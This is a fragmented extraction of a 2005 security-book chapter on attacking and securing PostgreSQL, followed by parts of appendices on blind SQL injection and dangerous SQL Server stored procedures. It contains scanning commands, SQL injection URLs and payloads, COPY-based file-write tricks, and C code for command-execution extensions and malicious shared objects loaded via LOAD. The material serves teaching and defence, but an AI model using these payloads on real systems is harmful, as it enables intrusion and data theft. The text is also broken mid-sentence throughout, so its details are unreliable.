...
Many deployment scenarios require the database to be remotely available
...
An attacker may therefore perform a simple sweep of the network for systems that respond to TCP SYN
packets on port 5432 in order to determine the presence of PostgreSQL servers:
$ nmap -sS 10
...
0
...
70 ( http://www
...
org/nmap )
Interesting ports on 10
...
1
...
907 seconds
403
37_578014 ch25
...
It is simple, however, to detect a listening postmaster
...
Given that the username, database, SSL
connection option, and host from which the connection originates must have
an entry in the pg_hba
...
Thus the expected response would be something like the
following:
$ psql -h 10
...
0
...
conf entry for host “10
...
0
...
A number of tools exist that attempt
to identify applications based on their responses to various inputs
...
If amap is run with
the –b (banner) switch, however, the ErrorResponse message is displayed:
$ amap -b 10
...
0
...
6 (www
...
org) - APPLICATION MAP mode
Protocol on 10
...
0
...
19778 server supports
1
...
0Fpostmaster
...
PostgreSQL 6
...
0
...
4 introduced
protocol version 2
...
4 introduced protocol version 3
...
The
most recent version of the database, 8
...
0
...
During the connection
handshake, the protocol version is the only information that is required to
determine client-server compatibility
...
This means that in order to fingerprint the server
remotely and anonymously, the attacker must make inferences based on observing both the message flow and content:
37_578014 ch25
...
■
■
The server version can be inferred from error messages returned by
sending malformed responses to certain messages
...
1)
...
2)
...
The postmaster uses this information to examine the pg_hba
...
If no match is found, an ErrorResponse is
sent back to the client
...
The postmaster sends back
a message containing the type of authentication required
...
If they are incorrect, an ErrorResponse is sent from the postmaster to the client
...
This process is slightly different if the client wishes to communicate with the
postmaster over SSL
...
After receiving an AuthenticationOK message, the frontend must wait for a
ReadyForQuery message from the backend before Query messages can be dispatched
...
If an error
occurs, an ErrorResponse message is sent to the frontend
...
You can find further information on the PostgreSQL protocol at:
Version 3
...
postgresql
...
4/
interactive/protocol
...
0: http://www
...
org/docs/7
...
html
Version 1
...
postgresql
...
3/
interactive/c50
...
qxd
406
6/3/05
7:00 PM
Page 406
Chapter 25
Network-Based Attacks Against PostgreSQL
Before the database can be attacked, a connection must be established via a
startup message containing a username
...
conf, or else the postmaster will respond with an ErrorResponse and the connection will be dropped
...
Attackers may have to resort to guesswork if
they have little knowledge of the environment
...
conf file does not
reveal whether the username was correct but the database was not (and vice
versa), nor whether there is a specific host from which the username-database
name pair is accepted
...
This is not an unreasonable assumption, because it is rare that an administrator will allow remote access to their
database from an untrusted network such as the Internet, thus the attacker will
first look to compromise other systems that have Internet-facing services such as
a web server or FTP server
...
The
packet sniffer Ethereal contains a basic PostgreSQL protocol dissector that displays strings contained in messages
...
If the authentication type is set to AuthenticationCleartextPassword, the attacker will also be able to obtain the password; otherwise it will be encrypted or hashed (assuming a password is required)
...
conf file consists of rules matching access from specific hosts, the
attacker must compromise a particular host or launch a network-based attack
such as ARP spoofing or TCP hijacking in order to appear to be that host
...
The attacker will typically
choose to target the ARP cache of the database server in order to make use of a
particular pg_hba
...
37_578014 ch25
...
This is made possible by sniffing the wire
to monitor TCP sequence numbers and then inserting spoofed packets to leave
either side in an inconsistent state
...
It
is not without difficulties, one of which is the resulting “ACK storm” caused by
repeated ACK packets sent by both sides in response to “missing” packets
...
A number of tools are available that can perform TCP Hijacking and ARP
spoofing
...
Hunt is available at http://www
...
com/tools/3X5QFQUNFG
...
Ident Spoofing
When a rule is matched in the pg_hba
...
The listening identd daemon accepts requests of the form
port_on_server,
port_on_client
where port_on_server is the port on the system running identd (that is, the
local port that the frontend has used to connect to the PostgreSQL database)
and port_on_client is the port on the system connecting to identd (that is, the
postmaster)
...
Thus an affirmative response might be:
1025,5432 : USERID : UNIX : admin1
whereas a negative response might be:
1025,5432 : ERROR : NO-USER
407
37_578014 ch25
...
If the postmaster queries the
attacker’s machine, either through a loose entry in the pg_hba
...
This effectively allows the attacker to brute force a successful login attempt
...
conf
entry, the username supplied by the attacker is matched against database usernames, otherwise an ident mapping file is interrogated
...
Several
freeware identd daemons are available for Windows, such as the Windows
Ident Server (http://identd
...
org/identd/)
...
Information Leakage from Compromised
Resources
A number of ways exist to glean useful information from a compromised host
or account:
■■
Psql is a terminal-based PostgreSQL client that uses libpq, the C API for
PostgreSQL
...
pgpass file
if the connection requires a password and none has been specified
...
conf on Windows systems)
...
pgpass file permissions before using its data; if world or group
have access to the file it is deemed insecure and ignored (this does not
necessarily mean that the passwords in
...
■■
The presence of a cron job that runs psql at scheduled intervals implies
that the database’s pg_hba
...
pgpass file contains valid
credentials
...
■■
pgAdmin is a popular GUI query analyzer for Windows systems
...
0 for Windows
...
pgAdmin does not save passwords
...
If the application is written in
37_578014 ch25
...
■
■
If the compromised system runs a Java application that connects to a
PostgreSQL database, it is likely to be using the PostgreSQL JDBC interface
...
properties files or may be hardcoded
into the application
...
getConnection() method will reveal the JDBC
URL, username, and password
...
sourceforge
...
■
■
If the compromised system is running Microsoft Windows, PostgreSQL
connectivity may be provided via psqlODBC, the PostgreSQL ODBC
driver
...
A DSN is
likely to contain a hostname, database name, and username
...
INI, typically under a key name of PostgreSQL
...
INI
...
INI\ODBC — this is C:\Program Files\Common
Files\ODBC\Data Sources by default
...
The
Common Vulnerabilities and Exposures database (http://www
...
mitre
...
cgi?keyword=postgresql) reveals in the region
of 20 entries for PostgreSQL and associated applications as of January 2005, far
fewer than in other DBMS
...
A number of factors perhaps explain the paucity of reported PostgreSQL
vulnerabilities
...
It can
409
37_578014 ch25
...
Evidence of this presents itself in the installation procedure that, by default, prevents network access and refuses to allow operation under a privileged user
context; contrast this with Microsoft SQL Server, which used to install with a
blank administrator password, run with system-level privilege, and listen on a
number of protocols
...
Table 25-1 PostgreSQL Vulnerabilities
CVE/CAN NAME
DESCRIPTION
CVE-2002-0802
The multibyte support in PostgreSQL 6
...
x with SQL_ASCII
encoding consumes an extra character when processing a
character that cannot be converted, which could remove an
escape character from the query and make the application
subject to SQL injection attacks
...
CAN-2000-1199
PostgreSQL stores usernames and passwords in plaintext in
(1) pg_shadow and (2) pg_pwd, which allows attackers
with sufficient privileges to gain access to databases
...
2 allow attackers to cause
a denial of service and possibly execute arbitrary code via
long arguments to the functions (1) lpad or (2) rpad
...
2 and earlier allows local users to cause a denial of service
and possibly execute arbitrary code via a large negative
argument, possibly triggering an integer signedness error or
buffer overflow
...
2
...
”
CAN-2002-1399
Unknown vulnerability in cash_out and possibly other
functions in PostgreSQL 7
...
1 and earlier, and possibly later
versions before 7
...
3, with unknown impact, based on an
invalid integer input that is processed as a different data
type, as demonstrated using cash_out(2)
...
2
...
37_578014 ch25
...
2
...
CAN-2002-1402
Buffer overflows in the (1) TZ and (2) SET TIME ZONE
environment variables for PostgreSQL 7
...
1 and earlier allow
local users to cause a denial of service and possibly execute
arbitrary code
...
2
...
3
...
3
...
CAN-2004-0547
Buffer overflow in the ODBC driver for PostgreSQL before
7
...
1 allows remote attackers to cause a denial of service
(crash)
...
Configuration Vulnerabilities
PostgreSQL is available in tarballs containing source as well as packages containing binaries
...
5
...
The backend process creates a flat-file copy of the pg_shadow username
and password database called pg_pwd
...
This should
have been mitigated by the file permissions on the directory that this file resided
in (/var/lib/pgsql); a mode of 700 (owner has read/write) would have prevented any problems
...
It was resolved by
changing the permissions on the /var/lib/pgsql directory to 700
...
4
...
It naively wrote to a predictable filename in
/tmp without first checking whether it already existed
...
When executed, the script would overwrite data in the file
pointed to via the symlink
...
qxd
412
6/3/05
7:00 PM
Page 412
Chapter 25
077 (O_EXCL | O_CREAT)
...
Code Execution Vulnerabilities
In August 2002 PostgreSQL version 7
...
2 was released, rectifying several buffer
overflows that were made public in a series of advisories released by “Sir Mordred” of Mordred Labs
...
They potentially permitted the execution
of arbitrary code as the operating system database user
...
iwebland
...
php - adv-0x0005
...
Sir Mordred followed a full and immediate disclosure policy although
exploit code was never released to the security community, if it existed
...
This is in part because of the difficulty in exploiting some of
the vulnerabilities
...
The vulnerable code is found in src/backend/
commands/variable
...
static char *defaultTZ = NULL;
static char TZvalue[64];
static char tzbuf[64];
/* parse_timezone()
* Handle SET TIME ZONE
...
* - thomas 1997-11-10
*/
bool
parse_timezone(const char *value)
{
char
*tok;
if (value == NULL)
{
reset_timezone();
return TRUE;
}
while ((value = get_token(&tok, NULL, value)) != 0)
{
37_578014 ch25
...
c) was also vulnerable to a buffer overflow via calls to strcat()
...
The buffer is 128 characters in size and is
repeatedly filled by calls to strcat()
...
The connection to the server was lost
...
qxd
414
6/3/05
7:00 PM
Page 414
Chapter 25
The vulnerable code is reproduced here:
const char * cash_words_out(Cash *value)
{
static char buf[128];
char
*p = buf;
Cash
m0;
Cash
m1;
Cash
m2;
Cash
m3;
/* work with positive numbers */
if (*value < 0)
{
*value *= -1;
strcpy(buf, “minus “);
p += 6;
}
else
{
*buf = 0;
}
m0
m1
m2
m3
=
=
=
=
*value % 100;
(*value / 100) % 1000;
(*value / 100000) % 1000;
*value / 100000000 % 1000;
/* cents */
/* hundreds */
/* thousands */
/* millions */
if (m3)
{
strcat(buf, num_word(m3));
strcat(buf, “ million “);
}
if (m2)
{
strcat(buf, num_word(m2));
strcat(buf, “ thousand “);
}
if (m1)
strcat(buf, num_word(m1));
if (!*p)
strcat(buf, “zero”);
strcat(buf, (int) (*value / 100) == 1 ? “ dollar and “ : “
dollars and “);
strcat(buf, num_word(m0));
strcat(buf, m0 == 1 ? “ cent” : “ cents”);
37_578014 ch25
...
The attacker is constrained to overwrite it with ASCII characters that form part
of the resulting string representation of the supplied input value
...
The circle_poly() function (src/backend/utils/
adt/geo_ops
...
An integer overflow
occurs by specifying a suitably large value of npts; this causes a small amount of
memory to be allocated and consequently heap data is overwritten
...
It was fixed by
inserting an explicit integer overflow check:
base_size = sizeof(poly->p[0]) * npts;
size = offsetof(POLYGON, p[0]) + base_size;
/* Check for integer overflow */
if (base_size / npts != sizeof(poly->p[0]) || size <= base_size)
elog(ERROR, “too many points requested”);
Integer overflows were found in several other places
...
c) is used to repeat a string the
specified number of times:
select repeat(‘abc’, 4);
abcabcabcabc
Specifying a very large count parameter caused an integer overflow to occur
as the required space to store the resulting string is calculated
...
The connection to the server was lost
...
qxd
416
6/3/05
7:00 PM
Page 416
Chapter 25
text
int
int
char
*result;
slen,
tlen;
i;
*cp;
if (count < 0)
count = 0;
slen = (VARSIZE(string) - VARHDRSZ);
tlen = (VARHDRSZ + (count * slen));
result = (text *) palloc(tlen);
...
The subsequent patch checks that slen does not overflow
...
c)
contained similar integer overflows
...
Rpad()
functions in the same way but appends the specified characters
...
Vulnerabilities in PostgreSQL Components
In addition to vulnerabilities in the core database code, various PostgreSQL
components and dependencies have also had problems
...
03
...
A typical web application
might contain hardcoded values (because it will connect to the database with
a single username/password pair)
...
The attacker’s exploit code would run with the privilege of the web
server user
...
All calls to make_string() were then amended
...
qxd
6/3/05
7:00 PM
Page 417
PostgreSQL: Discovery and Attack
diff -u -r1
...
1
...
c
--- connection
...
c
13 May 2004 08:47:22 -0000
@@ -107,7 +107,7 @@
1
...
1
...
*/
make_string(szUID, cbUID, ci->username);
make_string(szAuthStr, cbAuthStr, ci->password);
+
make_string(szUID, cbUID, ci->username,sizeof(ci->username));
+
make_string(szAuthStr, cbAuthStr, ci->password, sizeof(ci>password));
/* fill in any defaults */
getDSNdefaults(ci);
PostgreSQL’s SSL support is provided via OpenSSL
...
Perhaps the most serious of these was reported in late July 2002
...
9
...
It is triggered by sending a malformed CLIENT_MASTER_KEY message
...
The SSLv2 handshake mechanism is shown here:
Client
CLIENT_HELLO
Server
-->
<-- SERVER_HELLO
CLIENT_MASTER_KEY -->
<-- SERVER_VERIFY
CLIENT_FINISHED
-->
<-- SERVER_FINISHED
The CLIENT_HELLO message contains a list of the ciphers the client supports, a session identifier, and some challenge data
...
417
37_578014 ch25
...
The
server also sends a connection identifier, which will later be used by the client
to verify that the encryption works
...
This message also
specifies the cipher selected by the client and a KEY_ARG field, whose meaning depends on the specified cipher (KEY_ARG often contains initialization
vectors)
...
From this point on, all messages are encrypted
...
If the key exchange has been
successful, the client will be able to decrypt this message and the challenge
data returned from the server will match the challenge data sent by the client
...
It is now the server’s turn to
decrypt this message and check if the connection identifier returned by the
client matches that sent by the server
...
This message contains a session identifier, generated by the server
...
The vulnerability occurred in ssl/s2_srvr
...
This function reads and processes CLIENT_MASTER_KEY packets
...
This array is part of the
SSL_SESSION structure
...
Despite some difficulties in exploiting this, a reliable exploit was produced
for Apache/OpenSSL by Solar Eclipse (entitled “OpenSSL-Too-Open”)
...
The official OpenSSL advisory can be found at http://www
...
org/news/secadv_20020730
...
SQL Injection with PostgreSQL
SQL injection vulnerabilities have plagued poorly written web applications
...
The following snippet of PHP demonstrates a typical SQL
injection flaw:
37_578014 ch25
...
php
// Connect to the Database
$conn = pg_connect(“host=10
...
0
...
\n”);
?>
In normal operation, this script would be executed by accessing the URL of
the form:
http://webserver/moviedatabase
...
qxd
420
6/3/05
7:00 PM
Page 420
Chapter 25
If, however, an attacker appends additional characters to the title parameter,
it becomes apparent that the query has not been safely constructed:
http://webserver/moviedatabase
...
php on line 19
This example is somewhat contrived for clarity’s sake in that the display_
errors directive in the php
...
This is not
recommended for production sites (yet many people choose to leave it on)
...
Writing the pg_exec() line as follows would produce an error
message similar to the preceding one:
$myresult = pg_exec($conn, $query) or die(pg_last_error());
Best practice dictates that display_errors is turned off and that pg_last_error()
is used to write to an error log that is not stored under the web root
...
PostgreSQL
supports the UNION keyword enabling SELECT statements to be extended to
return useful information
...
php?title=’ UNION SELECT ‘aaaa’;-Warning: pg_exec(): Query failed: ERROR: each UNION query must have the
same number of columns in /var/www/php/moviedatabase
...
Second,
an error is returned informing the attacker that the initial SELECT contains
more columns
...
php?title=’ UNION SELECT ‘aaaa’, ‘bbbb’,
‘cccc’;-Warning: pg_exec(): Query failed: ERROR: invalid input syntax for
integer: “cccc” in /var/www/php/moviedatabase
...
Finally, the following query returns the constants:
http://webserver/moviedatabase
...
qxd
6/3/05
7:01 PM
Page 421
PostgreSQL: Discovery and Attack
Description: A movie about breaking into computers
Year: 1995
Title: aaaa
Description: bbbb
Year: 1234
Like other DBMSsuch as Microsoft SQL Server, PostgreSQL will automatically attempt to cast incorrect data types such as strings to integer; this is
known as a coercion
...
php?title=’ UNION SELECT ‘aaaa’, ‘bbbb’,
‘1234’;--
will also work
...
Useful Built-In Functions
The following functions may be of use (keywords and function names are case
insensitive but note that some functions require parentheses; others do not):
■
■
current_user: Returns the current database username as a string of type
“name” (a 31-character length non-standard type used for storing
system identifiers)
...
■
■
session_user: PostgreSQL permits the database superuser to execute
queries as another database user without having to disconnect and
reconnect
...
■
■
current_setting(
...
PostgreSQL 8
...
Settings can be reconfigured via set_config(
database superusers
...
This will often reveal the platform that the database is running on, for
example:
421
37_578014 ch25
...
0
...
exe (GCC)
3
...
2 (mingw-special)
PostgreSQL 7
...
1 on i686-pc-linux-gnu, compiled by GCC gcc (GCC)
3
...
2 (Mandrake Linux 10
...
3
...
■■
current_time: Returns current time with timezone as an object of type
time
...
■■
inet_client_addr(): Returns address of the remote (that is, client application) connection as an object of type inet
...
■■
inet_server_addr(): Returns the address of the local (that is, backend)
connection as an object of type inet
...
The network functions are useful for determining information about the
infrastructure and for verifying whether the client and server applications are
running on the same system
...
The host() function can be used to return a
string representation of an inet object:
SELECT host(inet_server_addr());
127
...
0
...
If the attacker has low user privilege, the
pg_shadow table is not accessible
...
The has_table_privilege() function can be used to determine access to particular tables:
has_table_privilege(user, table, access)
where access must be one of SELECT, INSERT, UPDATE, DELETE, RULE,
REFERENCES, or TRIGGER
...
0
If the SQL injection occurs on a statement that does not return results to the
screen (such as an INSERT), the attacker must determine an alternative means
37_578014 ch25
...
Chris Anley discusses using the WAITFOR DELAY
function in Microsoft SQL Server in his paper “Advanced SQL Injection” in
order to return a binary piece of information
...
PostgreSQL 8
...
PostgreSQL
does not have a built-in function for repeating an operation a number of times
in the way that MySQL has BENCHMARK()
...
The EXECUTE command is used
to execute dynamic SQL that is constructed via the concatenation operator,
“||”
...
To
insert a single quote into the string itself, four single quotes are required
...
The SELECT command
cannot be used inline; the SELECT INTO PL/pgSQL command is typically
used to retrieve data into a variable
...
qxd
424
6/3/05
7:01 PM
Page 424
Chapter 25
The preceding function is designed to be used as follows:
SELECT adminlog(‘Test’);
All done
It is possible, however, for any user to inject into the EXECUTE statement
and execute an arbitrary query on behalf of the superuser
...
Nevertheless, given that the attacker can read
the source code to all stored procedures, it is imperative that extreme care is
taken when using EXECUTE
...
These applications make use of the most basic functions of libpq such as
PQexec to execute dynamically constructed queries
...
2
...
The following example, re-created from the original advisory (http://www
...
com/
unixfocus/5LP0E2KAAI
...
Italicized lines represent server responses
...
220 ProFTPD 1
...
8 Server (Debian) [*****]
Name (localhost:run-level): ‘)UNION SELECT
‘u’,’p’,1001,1001,’/tmp’,’/bin/bash’ WHERE(‘’=’
331 Password required for ‘)UNION
...
Remote system type is UNIX
...
ftp>
37_578014 ch25
...
There are many potential injection strings that will cause the same result
...
2 introduced a function to assist in escaping problematic characters
...
This
function is not required if the application makes use of PQexecParams or
PQexecPrepared to execute a parameterized query
...
The prepared statement must first be created via the PREPARE statement — this
has the computational benefit that the query plan is determined only once
...
These two functions are available only in protocol version 3
...
4 and higher
...
2
that potentially permitted SQL injection, even when it was not possible in the
client application itself
...
The intended behavior was simply to convert the character into its multi-byte
hexadecimal equivalent
...
Thus if an
application (correctly) escaped a single quote immediately preceding a particular multi-byte character, PostgreSQL would remove it!
This discussion around this vulnerability can be found at http://marc
...
com/?l=postgresql-general&m=102032794322362
...
The files
are accessed under the operating system user privilege that the database runs
as
...
qxd
426
6/3/05
7:01 PM
Page 426
Chapter 25
database superusers
...
The COPY command does not accept relative paths (from copy
...
too easy to shoot oneself in the foot by overwriting a
database file
...
The Unix temporary directory, /tmp, is likely to be writable
...
0, configuration parameters such as the database file locations
can be determined via SELECT current_settings(
...
An attacker can further compromise a Unix system via the COPY by writing
to a number of files:
■■
...
If the system is running the rlogin daemon, writing a
...
These days, the security
implications of rlogin are well understood and it is disabled by default
on most Unix distributions
...
■■
Modifying the ~/
...
If the system administrator logs in
locally to the database account, writing operating system commands to
the
...
■■
Modifying the ~/
...
If the database administrator logs in locally to the database account and uses psql to carry
out maintenance, or if psql is set to run database scripts via a cronjob,
an attacker could Trojan the startup script in order to execute arbitrary
operating system commands
...
It is possible to
invoke psql and have it ignore the contents of
...
This is accomplished via the –X or --no-psqlrc command-line switches
...
qxd
6/3/05
7:01 PM
Page 427
PostgreSQL: Discovery and Attack
Other files that may contain interesting information are /etc/fstab and
/etc/exports
...
/etc/exports
will reveal whether root squashing has been enabled
...
On a Windows system, environment strings such as %TEMP%, %PROFILE%,
and %SYSTEMROOT% are not expanded
...
The default installation
path for PostgreSQL 8
...
0/data/
...
Alternatively, the database is likely to be
able to write to the Windows temporary directory (c:\windows\temp,
c:\winnt\temp, or c:\temp)
...
Finally, an attacker may try specifying a UNC path
...
If, however, this is not the case, or the
attacker is on the local network, he can set up an anonymously accessible share
and use the COPY command to read and write data to it
...
The attacker can enumerate
tables, writing them to the share so they can later be imported into the
attacker’s database for analysis
...
It can export data as text or
PostgreSQL’s own binary format, which contains a header
...
The only caveat is that the file cannot contain a null byte (0x00);
otherwise proceeding bytes will not be written out
...
2
...
1 organized the three large object interfaces such that all large objects are
now placed in the system table pg_largeobject
...
Given the
security implications of these functions, they are available only to database
superusers
...
Interestingly, the pg_largeobject table can be queried and updated directly
...
When specifying BYTEA data, non-printable
427
37_578014 ch25
...
The “\” must be escaped
when it is used inside a string
...
Base64 causes an increase in file size
of approximately 33%; the resulting representation may still be smaller than
converting non-printable characters into \
...
Extension functions reside in separate library
files — shared object modules on Unix systems and dynamic link libraries
(DLLs) on Windows systems
...
Shared objects on many types of Unix do not need to be marked as executable
because they are simply files that are open()’d and mmap()’d by dlopen()
...
This means the large object
import/export technique described earlier could be used to transfer an object
to a remote system
...
The following is an example extension function that provides a simple
means of executing operating system commands from within the database
...
It returns the return code from the system() call
...
h>
#include
h>
PG_FUNCTION_INFO_V1(pgsystem);
37_578014 ch25
...
c
$ gcc -shared -o pgsystem
...
o
The -fpic switch is used to produce position-independent code, that is, code
that can be loaded anywhere in the process space of a process with as few
relocations as possible
...
so’, ‘pgsystem’ LANGUAGE ‘C’ WITH (ISSTRICT);
From PostgreSQL 7
...
The function can then be executed as follows:
SELECT pgsystem(‘ping 10
...
0
...
The LOAD Command
The LOAD command loads a shared object file into the PostgreSQL process
address space; interestingly, prior to the security update released in February
429
37_578014 ch25
...
LOAD is intended to allow a user to
reload an object that may have changed (for example, from a recompilation)
...
First, it can be used to determine the existence of arbitrary files on the operating system:
LOAD ‘/etc/abcdef’
ERROR: could not access file “/etc/abcdef”: No such file or directory
LOAD ‘/etc/passwd’
ERROR: could not load library “/etc/passwd”: /etc/passwd: invalid ELF
header
Second, and of more interest to an attacker, it can be used to launch a privilege escalation attack
...
A default implementation is typically provided for these two functions; specifying custom implementations
permits code to be executed under the privilege of the operating system database user
...
h>
void _init()
{
system(“echo Test > /tmp/test
...
c
$ ld -shared -o pgtest
...
o
$ cp pgtest
...
so’
$ cat /tmp/test
...
lo_import/lo_export cannot be used because they require superuser privilege
...
If the
attacker has access to the local network, it may be possible to exploit weak NFS
share permissions to place the object in a location that the database can access
...
When a DLL is loaded into a process space, the
DllMain() function is executed (the equivalent of _init)
...
qxd
6/3/05
7:01 PM
Page 431
PostgreSQL: Discovery and Attack
#include
h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
system(“echo Test > c:\\windows\\temp\\test
...
c
C:\dev> link /DLL pgtest
...
C:\dev> copy pgtest
...
dll’
Once the attacker is able to execute operating system commands, the
pg_hba,conf can be modified to permit trusted access to all databases for mining
of further information
...
A more subtle attack is to elevate
privilege within the database itself
...
exe on
Windows systems:
#include
h>
typedef void (*pfunc)(int);
BOOL WINAPI DllMain(HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
HMODULE h = LoadLibrary(“postgres
...
qxd
432
6/3/05
7:01 PM
Page 432
Chapter 25
The ability of a low-privileged user to cause the database to connect to an arbitrary machine via specifying a UNC path to LOAD has additional security consequences
...
In addition to obtaining the remote machine name and username, the attacker
will also receive a challenge-response pair
...
This may be of use if the attacker is able
to access other operating system services on the database server
...
It has not had unauthenticated buffer overflow vulnerabilities in the core database, nor does it install with default passwords
...
conf) potentially makes the database difficult to attack without an initial foothold, such as a SQL injection vulnerability
...
At this point, many other database systems would yield full control of the system given the elevated
privilege that they run under
...
38_578014 ch26
...
Make entries in the pg_hba
...
PostgreSQL
installs with network access disabled by default
...
The pg_hba
...
■
■
Make use of specific reject rules (placed at the top of the list of rules)
to always prevent access from certain network ranges to specific
databases
...
■
■
Use specific username-database name pairs as an extra layer of
access control
...
Use md5 in place of crypt
...
Enable SSL and use client certificates
...
conf rules
...
”
433
38_578014 ch26
...
Stunnel
is a small application that acts an SSL wrapper; it is simple to configure it to use client certificates
...
stunnel
...
■■
You can find a how-to describing using PostgreSQL with Stunnel at
http://cfm
...
washington
...
xml
...
Run on a single user system
...
Some
organizations run it in a hosted environment where third parties
contain user accounts (or even administer the system)
...
Once a malicious user can
execute commands as the superuser, the data in the database is compromised
...
conf to allow themselves trusted
access to all databases, or they could copy the databases files themselves onto another system
...
This reduces the chance
of a brute-force attack succeeding if the attacker is able to gain a list
of operating system usernames via information leakage from another
service
...
4
...
■■
Disable all unnecessary services
...
Many Unix systems used to install and enable
multiple network daemons (telnet, FTP, DNS, and so on) by default
...
■■
You can find Linux hardening information at http://www
...
org/rr/whitepapers/linux/
...
You can download it from http://
www
...
org/
...
microsoft
...
mspx
...
qxd
6/3/05
7:08 PM
Page 435
Securing PostgreSQL
■
■
The server should be kept up to date with security patches
...
securityfocus
...
■
■
In addition, the environment should contain security measures to
segregate access to servers holding sensitive information
...
Firewalls should prevent external access and
limit internal access to NetBios and SMB ports; this will mitigate the
information leakage attack via UNC paths
...
Keep up-to-date with database patches
...
Nevertheless, bug
fixes are released on a regular basis
...
It is archived at http://
archives
...
org/pgsql-announce/
...
Security vulnerabilities have been publicly discussed on these lists
...
6
...
■
■
Wherever possible, make use of parameterized queries via use of
(libpq) PQexecParams() and PQexecPrepared()
...
The equivalent safe query functions should be used
when developing applications in other languages
...
qxd
6/3/05
7:08 PM
Page 436
39_578014 appa
...
qxd
438
6/3/05
7:07 PM
Page 438
Appendix A
printf( “Error - timeout waiting for response\n” );
return 1;
}
if ( ( out[ i / 8 ] == 0 ) && ( out[ (i / 8) - 1 ] == 0 ) )
{
printf(“Done!\n”);
return 0;
}
}
return 0;
}
int create_get_bit_request( char *query, int bit, char *request, int
buff_len )
{
char params[ 1024 * 64 ] = “”;
char content_length[32] = “”;
char tmp[32] = “”;
char query_string[1024 * 64] = “”;
int i;
// create bit-retriveal query string
safe_strcat( query_string, “‘; “, buff_len );
safe_strcat( query_string, query, buff_len );
sprintf( params, “ if (ascii(substring(@s, %d, 1)) & ( power(2,
%d))) > 0 waitfor delay ‘0:0:4’--”, (bit / 8)+1, bit % 8 );
safe_strcat( query_string, params, buff_len );
params[0] = 0;
safe_strcat( request, “POST /login
...
1\r\n”, buff_len );
safe_strcat( request, “Content-Type: application/x-www-formurlencoded\r\n”, buff_len );
safe_strcat( request, “User-Agent: Mozilla/4
...
0; Windows NT 5
...
168
...
1\r\n”, buff_len );
safe_strcat( request, “Connection: Close\r\n”, buff_len );
safe_strcat( request, “Cache-Control: no-cache\r\n”, buff_len );
safe_strcat( params, “submit=Submit&Password=&Username=”, 1024 *
64 );
for( i = 0; i < (int)strlen( query_string ); i++ )
{
sprintf( tmp, “%%%x”, query_string[i] );
safe_strcat( params, tmp, 1024 * 64 );
}
39_578014 appa
...
168
...
1”, 80, 0, request, output, &out_len );
if ( ( GetTickCount() - start ) > 4000 )
{
printf( “bit %d\t=1\n”, bit );
439
39_578014 appa
...
qxd
6/3/05
7:10 PM
Page 441
APPENDIX
B
Dangerous Extended
Stored Procedures
The following stored procedures could allow an attacker to gain information
about the server or to perform actions that could lead to the compromise of the
machine
...
Alternatively, the
procedures can be removed entirely from the database:
use master
exec sp_dropextendedproc ‘xp_regread’
SQLSecurity
...
sqlsecurity
...
aspx?tabid=26)
...
If procedures are dropped it is also a good idea to remove the dll they are
present in to prevent an attacker from re-adding them using sp_addextendedproc
...
dll
Microsoft (R) COFF/PE Dumper Version 7
...
3077
Copyright (C) Microsoft Corporation
...
441
40_578014 appb
...
dll
File Type: DLL
Section contains the following exports for XPLOG70
...
00
1
8
8
characteristics
time date stamp Sun Aug 06 08:39:34 2000
version
ordinal base
number of functions
number of names
ordinal hint RVA
1
2
3
4
5
6
7
8
0
1
2
3
4
5
6
7
00001055
00001073
00001082
00001037
0000108C
00001005
0000101E
00001069
name
__GetXpVersion
xp_cmdshell
xp_enumgroups
xp_logevent
xp_loginconfig
xp_msver
xp_sprintf
xp_sscanf
Summary
1000
3000
1000
1000
1000
1000
A000
...
data
...
rdata
...
rsrc
...
heaventools
...
htm)
...
Care should be
taken when removing them, however, because they are used by some Enterprise Manager features and service pack installers
...
Use of
the SQL Profiler can pinpoint exactly how and when they are utilized
...
qxd
6/3/05
7:10 PM
Page 443
Dangerous Extended Stored Procedures
xp_regaddmultistring: Used to add a value to an existing multi-value
string entry
...
xp_regdeletevalue: Deletes a specific registry value
...
xp_regenumvalues: Returns all values below a registry key
...
xp_regremovemultistring: Used to delete a value from an existing
multi-value string entry
...
In SQL Server 2000 each of these procedures also has a corresponding
instance procedure: xp_instance_regaddmultistring, xp_ instance_regdelete
key, xp_ instance_regdeletevalue, xp_ instance_regenumkeys, xp_ instance_
regenumvalues, xp_ instance_regread, xp_ instance_regremovemultistring,
and xp_ instance_regwrite
...
xp_availablemedia: Shows the physical drives on the server
...
The most powerful and
widely abused stored procedure
...
Undocumented, it can be used to execute SQL queries but its
original purpose is unclear
...
xp_enumerrorlogs: Displays the error logs used by SQL Server
...
xp_eventlog: Used to read the Windows event logs
...
Can be abused to quickly perform brute-force attacks against passwords if the password dictionary is
available as a resultset
...
qxd
444
6/3/05
7:10 PM
Page 444
Appendix B
xp_fileexist: Tests if a specified file exists on the server’s filesystem
...
xp_getfiledetails: Returns information about a particular file on the
server, such as its size/creation date/last modified
...
This could allow an
attacker to guess the names of other machines on the network
...
xp_logevent: Writes a custom event to the SQL Server and Windows
error log
...
xp_loginconfig: Divulges information about the authentication method
used by the server and the current auditing settings
...
xp_makewebtask: Creates a webtask, which is used to output table data
to an HTML file
...
xp_msver: Provides more information about the SQL Server than version
...
xp_ntsec_enumdomains: Lists the Windows domains accessed by the
server
...
xp_perfstart: Used with the SQL Server performance monitor
...
xp_readerrorlog: Used to view the SQL Server error log
...
xp_revokelogin: Revokes access to the SQL Server from a Windows user
or group
...
xp_servicecontrol: Used to start, stop, pause, and un-pause Windows
services
...
Could be used to DoS the server, or stop
the server starting so that an attacker can access a shell on the SQL
Server port
...
qxd
6/3/05
7:10 PM
Page 445
Dangerous Extended Stored Procedures
xp_snmp_getstate: Returns the current state of the SQL Server using
SNMP (Simple Network Management Protocol)
...
5
...
Removed after SQL Server 6
...
xp_sprintf: Similar to the C sprintf function, used to create an output
string from multiple inputs
...
xp_sqlinventory: Prior to SQL Server 2000, returns information about
the server’s installation and configuration settings
...
xp_sqltrace: Prior to SQL Server 2000, returns information on the audit
traces set, and their activity
...
Could help an attacker create executable commands
...
xp_terminate_process: Used to kill a Windows process with a specific
ID
...
xp_unc_to_drive: Converts a UNC (Universal Naming Convention)
address to a corresponding local drive
...
This
affects the audit trail and could prevent tracing
...
xp_findnextmsg: Receives a message ID and returns the message ID of
the next mail in SQL Server’s inbox
...
xp_sendmail: Sends an e-mail, together with an optional resultset
...
xp_stopmail: Used to end a SQL Mail client session
...
qxd
446
6/3/05
7:10 PM
Page 446
Appendix B
OLE Automation
